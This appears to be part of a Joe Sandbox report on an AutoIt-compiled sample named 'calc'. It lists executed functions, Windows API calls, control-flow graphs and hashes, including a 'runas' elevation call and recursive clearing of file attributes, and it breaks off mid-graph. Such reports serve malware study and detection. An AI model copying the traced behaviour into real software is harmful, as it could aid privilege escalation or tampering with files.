51215->50614 51217 4161a1 LoadImageW 51216->51217 51218 41616d EnumResourceNamesW 51216->51218 51219 4012e6 51217->51219 51218->51217 51218->51219 51219->50635 51221 40428a LoadIconW 51220->51221 51223 401243 51221->51223 51223->50640 51225 44aecd __lock 51224->51225 51226 44c6db __lock 32 API calls 51225->51226 51227 44aed4 51226->51227 51228 44aee5 GetCurrentProcess TerminateProcess 51227->51228 51229 44aef5 __startOneArgErrorHandling 51227->51229 51228->51229 51234 44af70 RtlLeaveCriticalSection __lock 51229->51234 51231 44af58 51233 44af6b __lock 51231->51233 51235 44adfd 51231->51235 51233->50398 51234->51231 51236 44ae08 51235->51236 51237 44ae22 ExitProcess 51236->51237 51238 44ae0c GetProcAddress 51236->51238 51238->51237 51239 44ae1c 51238->51239 51239->51237

    Executed Functions

    Function 00439814 Relevance: 60.4, APIs: 11, Strings: 23, Instructions: 893libraryloaderCOMMON
    Download Yara Rule
    APIs
    • CharLowerBuffW.USER32(?,?), ref: 00439B3E
    • LoadLibraryW.KERNEL32(00000000), ref: 00439D9D
    • GetProcAddress.KERNEL32(?,00000000), ref: 00439E47
    • GetProcAddress.KERNEL32(?,00000000), ref: 00439E72
    • GetProcAddress.KERNEL32(?,00000000), ref: 00439EB3
    • FreeLibrary.KERNEL32(?), ref: 00439ECB
    • _strcat.LIBCMT ref: 00439F85
    • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF), ref: 0043A15D
    • TerminateProcess.KERNEL32(00000000), ref: 0043A164
    • FreeLibrary.KERNEL32(?), ref: 0043A2A5
      • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressCharLibraryProc$ByteFreeMultiProcessWide$BuffCurrentLoadLowerTerminate_strcat_strlen
    • String ID: cdecl$dword$hwnd$idispatch$idispatch_ptr$int$int_ptr$long$long_ptr$none$ptr$short$short_ptr$stdcall$str$string$udword$uint$ushort$winapi$wstr$wstring$Wu
    • API String ID: 1015931265-2961962733
    • Opcode ID: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
    • Instruction ID: 62d45698e8f6199696b40485e1186079554493d45d8b932d3fe4b0ade1180d93
    • Opcode Fuzzy Hash: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
    • Instruction Fuzzy Hash: 2562B431D00618AFDF11DFA5C8416DEB7B1AF09314F1441ABE905BB2A1CBB99E85CF89
    Function 00425639 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 117fileCOMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 352 425639-425661 FindFirstFileW 353 425663-425665 352->353 354 42566a 352->354 355 425787-42578a 353->355 356 42566b-425686 call 44925f 354->356 359 4256c8-4256d8 FindNextFileW 356->359 360 425688-42569d call 44925f 356->360 359->356 361 4256da-4256e1 FindClose 359->361 360->359 366 42569f-4256c6 GetFileAttributesW SetFileAttributesW 360->366 364 4256e3-4256e5 361->364 365 4256f1-425705 FindFirstFileW 361->365 367 425786 364->367 368 425707 365->368 369 42577d 365->369 366->359 370 4256ea-4256ec 366->370 367->355 372 42570d-425714 368->372 371 42577f-425784 FindClose 369->371 370->371 371->367 373 425716-42572b call 44925f 372->373 374 425769-42577b FindNextFileW 372->374 373->374 377 42572d-425743 call 44925f 373->377 374->369 374->372 377->374 380 425745-425764 SetCurrentDirectoryW call 425639 377->380 380->370 383 425766-425767 SetCurrentDirectoryW 380->383 383->374
    APIs
    • FindFirstFileW.KERNEL32(00000000,?,?,00000000), ref: 00425657
    • GetFileAttributesW.KERNEL32(?,75568FB0), ref: 004256A6
    • SetFileAttributesW.KERNEL32(?,00000000), ref: 004256BE
    • FindNextFileW.KERNEL32(00000000,?,75568FB0), ref: 004256D0
    • FindClose.KERNEL32(00000000), ref: 004256DB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$Find$Attributes$CloseFirstNext
    • String ID: *.*
    • API String ID: 3380241538-438819550
    • Opcode ID: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
    • Instruction ID: 4e70fa6d35b8864b9043a15bda1432a6da936626901fdaf7e3990b9e5699e330
    • Opcode Fuzzy Hash: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
    • Instruction Fuzzy Hash: E7319471601629FADF209FA0EC49EDF77ACAF44311F5004A7E804A2191EA79DE449B18
    Function 0040109D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134COMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 004010BF
      • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401412
      • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104,CmdLine), ref: 0040151F
    • SetCurrentDirectoryW.KERNEL32(?,?,?), ref: 0040116B
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?), ref: 004011B2
    • GetForegroundWindow.USER32(runas,?,?,?,00000001,0045C5B4,?,0045C5B4), ref: 004011FC
    • ShellExecuteW.SHELL32(00000000), ref: 00401203
    • SetCurrentDirectoryW.KERNEL32(?,00000001,?,?), ref: 00401272
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CurrentDirectoryFileModuleName$ExecuteForegroundShellWindow
    • String ID: runas
    • API String ID: 1789910257-4000483414
    • Opcode ID: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
    • Instruction ID: 93bf78c1261f2050e188375e0006e403e34581d150756637ae35598e928dc03f
    • Opcode Fuzzy Hash: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
    • Instruction Fuzzy Hash: 5F41C571904258AEDF10ABA09C85BEE3B689B09315F0041BBF945B61E3C77CDD898B69
    Function 00430DCB Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 250comCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • OleInitialize.OLE32(00000000), ref: 00430E15
    • CLSIDFromProgID.COMBASE(00000000,?), ref: 00430E32
    • CoCreateInstance.COMBASE(?,00000000,00000005,0045AFF8,?), ref: 00430E71
    • CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00430F05
    • CoCreateInstanceEx.COMBASE(?,00000000,00000010,?,00000001,?), ref: 0043103D
    • CoSetProxyBlanket.COMBASE(?,?,?,?,?,?,?,00000800), ref: 00431078
    Strings
    • NULL Pointer assignment, xrefs: 00431096
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CreateInitializeInstance$BlanketFromProgProxySecurity
    • String ID: NULL Pointer assignment
    • API String ID: 628432406-2785691316
    • Opcode ID: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
    • Instruction ID: e386be8ca80e5d29cc4fe2e7b532a083d7082a5dc51ef75c75596564310f3180
    • Opcode Fuzzy Hash: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
    • Instruction Fuzzy Hash: 7A91157290020CEFDF10EFA5DC81ADE7BB8FB08358F10462AF915A7251E7799D858B94
    Function 0040EA76 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 744 40ea76-40eac5 GetVersionExW call 4493b8 747 40eacb-40eb69 744->747 748 40ebce-40ebd1 744->748 751 40eca7-40ecc4 747->751 752 40eb6f-40eb7b 747->752 749 40ebd3-40ebd7 748->749 750 40ebbe-40ebc9 748->750 754 40ebe9-40ebfb call 449154 749->754 755 40ebd9-40ebe2 749->755 750->749 753 40ebcb 750->753 756 40ecc6-40ecc9 751->756 757 40ecf7 751->757 758 40eb81-40eb82 752->758 759 40ec97-40eca5 752->759 753->748 775 40ec01-40ec04 754->775 755->754 763 40ebe4-40ebe7 755->763 764 40ece7-40ecf5 756->764 765 40eccb-40ecce 756->765 762 40ecfe-40ed20 GetCurrentProcess call 40edd4 757->762 760 40ec33-40ec3f 758->760 761 40eb88-40eb89 758->761 759->762 767 40ec41-40ec4f 760->767 768 40ec54-40ec57 760->768 761->762 769 40eb8f-40eb9b 761->769 781 40ed22 762->781 782 40ed29-40ed42 762->782 763->754 763->755 764->762 765->762 770 40ecd0-40ece5 765->770 767->762 773 40ec70-40ec73 768->773 774 40ec59-40ec6b 768->774 769->775 776 40eb9d-40ebb9 769->776 770->762 773->762 778 40ec79-40ec95 773->778 774->762 775->762 779 40ec0a-40ec2e 775->779 776->762 778->762 779->762 781->782 783 40ed44-40ed56 call 40ee00 782->783 784 40ed86-40ed90 GetSystemInfo 782->784 792 40ed65-40ed69 783->792 793 40ed58-40ed63 call 40edea GetNativeSystemInfo 783->793 786 40ed72-40ed78 784->786 788 40ed92-40ed96 786->788 789 40ed7a-40ed84 786->789 790 40eda4-40eda8 788->790 791 40ed98-40eda2 788->791 794 40edc1-40edc4 789->794 795 40edb6-40edbb 790->795 796 40edaa-40edb4 790->796 791->794 800 40ed70 792->800 801 40ed6b-40ed6e FreeLibrary 792->801 793->792 797 40edc6-40edc9 FreeLibrary 794->797 798 40edcb-40edd3 794->798 795->794 796->794 797->798 800->786 801->800
    APIs
    • GetVersionExW.KERNEL32(?,00000000,004679CC), ref: 0040EA94
    • GetCurrentProcess.KERNEL32(?), ref: 0040ED0B
    • GetNativeSystemInfo.KERNEL32(?), ref: 0040ED63
    • FreeLibrary.KERNEL32(?), ref: 0040ED6E
    • GetSystemInfo.KERNEL32(?), ref: 0040ED8A
    • FreeLibrary.KERNEL32(?), ref: 0040EDC9
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FreeInfoLibrarySystem$CurrentNativeProcessVersion
    • String ID: Wu
    • API String ID: 3962325948-4083010176
    • Opcode ID: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
    • Instruction ID: f2ba6a2bae675f251a30583b53330f3553dad9bf7d35c900dc6b7b295430e01b
    • Opcode Fuzzy Hash: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
    • Instruction Fuzzy Hash: 3DA1FC30449298CDEF11DF69C4887D53FA49F25308F1844FADC499E29BC2BA9698C7B6
    Function 0043244B Relevance: .6, Instructions: 624COMMON
    Download Yara Rule
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _strcat
    • String ID:
    • API String ID: 1765576173-0
    • Opcode ID: b74d6b0b4cdaa55ab891e3e3bed31b96946f76edf7e19a225481c97117b44b67
    • Instruction ID: ad6fddf512afab15d5a1fa4b9b21ac99af1229bc60d9f9e6aa2c51089999b3cd
    • Opcode Fuzzy Hash: b74d6b0b4cdaa55ab891e3e3bed31b96946f76edf7e19a225481c97117b44b67
    • Instruction Fuzzy Hash: 02423631600219DBCF28EF59CA81AED77B1BF08304F55512BF81997262C778ED86CB89
    Function 0040127D Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76windowregistryCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetSysColorBrush.USER32(0000000F), ref: 00401287
    • LoadCursorW.USER32(00000000,00007F00), ref: 00401297
    • LoadIconW.USER32(000000A1), ref: 004012B2
    • LoadIconW.USER32(000000A4), ref: 004012C1
    • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000), ref: 004012F9
    • RegisterClassExW.USER32(?), ref: 0040134D
      • Part of subcall function 00416168: EnumResourceNamesW.KERNEL32(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
      • Part of subcall function 00416168: LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Load$IconImage$BrushClassColorCursorEnumNamesRegisterResource
    • String ID: #$0$AutoIt v3
    • API String ID: 3434626496-4155596026
    • Opcode ID: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
    • Instruction ID: 687afa9ac2c609e1a5e33ec6c472dbacfde120021dee70f4c48a98386cd57c87
    • Opcode Fuzzy Hash: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
    • Instruction Fuzzy Hash: 05314975D00318AFCB11DFA5EC88B9E7FB4EB48318F10447AE508AB3A1E3B45980CB59
    Function 00431B0A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 256COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 441 431b0a-431b3c 442 431b42-431b45 441->442 443 431db4-431dbb 441->443 442->443 445 431b4b-431b4e 442->445 444 431dbd-431dc2 call 4309c0 443->444 448 431dc7-431dcb 444->448 445->443 447 431b54-431b5d call 4199de 445->447 451 431b5f-431b68 447->451 452 431b6d-431b74 447->452 451->444 453 431b76-431b7f 452->453 454 431b84-431b8f call 4493b8 452->454 453->444 457 431bd2 454->457 458 431b91-431bb3 call 416034 454->458 460 431bd5-431bed call 449170 457->460 466 431bb7-431bbc 458->466 464 431bef-431bf3 460->464 465 431c3c-431c4e 460->465 467 431bf6-431c0e call 4216bb call 4301fc 464->467 469 431c50-431c5a 465->469 470 431c5d-431c9a VariantInit call 449660 465->470 466->460 468 431bbe-431bcd call 449078 466->468 482 431c10-431c1a 467->482 483 431c1e-431c36 call 4309c0 467->483 468->444 469->470 478 431c9e-431ca3 470->478 480 431ca5-431caa 478->480 481 431cda-431cde 478->481 484 431cfd-431d04 480->484 485 431cac-431cd6 480->485 486 431ce0-431ce7 481->486 487 431d06-431d15 call 418b39 481->487 482->467 488 431c1c 482->488 483->465 496 431d76-431d78 483->496 492 431cf0-431cfb call 4309c0 484->492 485->481 486->484 490 431ce9-431ced 486->490 497 431d17-431d1a 487->497 498 431d69-431d73 VariantClear 487->498 488->465 490->492 492->498 499 431d97-431da4 call 449078 496->499 500 431d7a-431d7d 496->500 502 431d1e-431d32 call 4216bb 497->502 498->496 510 431da6-431dae call 449078 499->510 511 431daf-431db2 499->511 503 431d83-431d87 500->503 512 431d53-431d54 call 4216bb 502->512 513 431d34-431d40 call 4216bb call 4186c7 502->513 506 431d89-431d8c VariantClear 503->506 507 431d8e-431d95 VariantClear 503->507 506->507 507->499 507->503 510->511 511->448 518 431d59-431d5b call 418b39 512->518 522 431d60-431d67 513->522 524 431d42-431d51 call 4216bb call 4186c7 513->524 518->522 522->498 522->502 524->518
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type$VENTOBJ
    • API String ID: 0-2292573353
    • Opcode ID: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
    • Instruction ID: 2bcbba87d7390d1434edf13330aba9ece891a3e4bcb3d2eb952acb4fb6b50e10
    • Opcode Fuzzy Hash: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
    • Instruction Fuzzy Hash: 10919E71A00309ABDF14DFA5CD85EEEB7B9AF08700F10511BF911A72A1D778AE40CB99
    Function 004253C3 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 213COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 529 4253c3-4253e3 530 4253e5-4253e8 529->530 531 4253ea-4253ed 529->531 532 4253f0-425400 call 4184a9 530->532 531->532 535 425402-425405 532->535 536 42541e 532->536 538 425407-42540a 535->538 539 42540c-42540f 535->539 537 425422-425427 536->537 540 4254db-4254de 537->540 541 42542d 537->541 542 425412-42541c call 41858e 538->542 539->542 544 4254e0-4254e3 540->544 545 4254eb-4254ee 540->545 546 42542f-425436 541->546 542->536 542->537 548 4254f0-425590 call 4184a9 call 4497d7 call 414bbc call 414e6e call 449da6 call 44912a * 2 GetCurrentDirectoryW SetCurrentDirectoryW 544->548 545->548 549 425438-42543b 546->549 550 42543d-425441 546->550 593 425592-4255a1 call 414e55 548->593 594 4255d5 548->594 551 425446-425447 549->551 552 425443 550->552 553 425448-42544f 550->553 551->553 552->551 556 4254c1 553->556 557 425451-425455 553->557 558 4254c3-4254c6 556->558 557->556 560 425457-42545b 557->560 561 4254c8-4254cb 558->561 562 4254cd 558->562 564 4254bc 560->564 565 42545d-425461 560->565 566 4254d0-4254d5 561->566 562->566 568 4254be-4254bf 564->568 565->564 569 425463-425467 565->569 566->540 566->546 568->558 571 4254b8-4254ba 569->571 572 425469-42546d 569->572 571->568 572->571 573 42546f-425473 572->573 576 4254b4-4254b6 573->576 577 425475-425479 573->577 576->568 577->576 579 42547b-42547f 577->579 581 425481-425485 579->581 582 4254ad-4254b2 579->582 581->582 584 425487-42548b 581->584 582->558 586 4254a6-4254ab 584->586 587 42548d-425491 584->587 586->558 587->586 589 425493-425497 587->589 591 425499-42549d 589->591 592 42549f-4254a4 589->592 591->592 595 4254e5-4254e6 591->595 592->558 600 425602-425615 call 425639 593->600 601 4255a3-4255ca GetFileAttributesW SetFileAttributesW 593->601 596 4255d6-4255de call 418a14 594->596 595->596 603 425630-425636 596->603 609 42561a-42561c 600->609 605 4255e0-4255e4 601->605 606 4255cc-4255d3 SetCurrentDirectoryW 601->606 607 4255e6-425601 SetCurrentDirectoryW call 449154 605->607 608 425627-42562e SetCurrentDirectoryW 605->608 606->594 607->600 608->603 609->608 611 42561e-425622 call 418a14 609->611 611->608
    APIs
    • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00425579
    • SetCurrentDirectoryW.KERNEL32(?), ref: 0042558C
    • GetFileAttributesW.KERNEL32(?), ref: 004255AA
    • SetFileAttributesW.KERNEL32(?,00000000), ref: 004255C2
    • SetCurrentDirectoryW.KERNEL32(?), ref: 004255D3
    • SetCurrentDirectoryW.KERNEL32(?), ref: 004255ED
    • SetCurrentDirectoryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 0042562E
      • Part of subcall function 00414E55: GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CurrentDirectory$AttributesFile
    • String ID: *.*
    • API String ID: 769691225-438819550
    • Opcode ID: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
    • Instruction ID: cec699d4ab6f872af63f9f09c0b7b1415ff4196bd1174d8bb20d814695fc6a34
    • Opcode Fuzzy Hash: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
    • Instruction Fuzzy Hash: C171C975A00529AADB20FA54EC44BDAF378EB04316FD480ABE549D3140DB3C9EC68F59
    Function 0040165B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 131windowCOMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 614 40165b-40166c 615 401676-401679 614->615 616 40166e-401670 614->616 618 401782-401789 615->618 619 40167f 615->619 616->615 617 40180f-401816 616->617 625 40181f-401822 617->625 622 4017fb-40180d call 4126bc 618->622 623 40178b-40178d 618->623 620 401685-401688 619->620 621 40174c-40177d call 42a895 call 42026c 619->621 627 401711-401736 SetTimer RegisterClipboardFormatW 620->627 628 40168e-40168f 620->628 621->617 622->617 633 4017cf-4017d1 622->633 629 4017eb-4017f9 call 4125ea 623->629 630 40178f-401794 623->630 632 40173c-401747 CreatePopupMenu 627->632 627->633 635 401691-401694 628->635 636 4016f2-40170c KillTimer call 412dd7 PostQuitMessage 628->636 629->633 638 4017d3-4017d9 630->638 639 401796-40179b 630->639 632->633 633->625 642 4016d1-4016ed MoveWindow 635->642 643 401696-401698 635->643 636->633 638->617 644 4017db-4017e9 call 401825 638->644 646 4017c1-4017ca call 412e32 639->646 647 40179d-4017a3 639->647 642->633 652 4016c0-4016cc SetFocus 643->652 653 40169a-40169d 643->653 644->617 646->633 647->617 648 4017a5-4017ac 647->648 648->617 655 4017ae-4017bf call 412dd7 call 4128c6 648->655 652->633 653->647 656 4016a3-4016bb 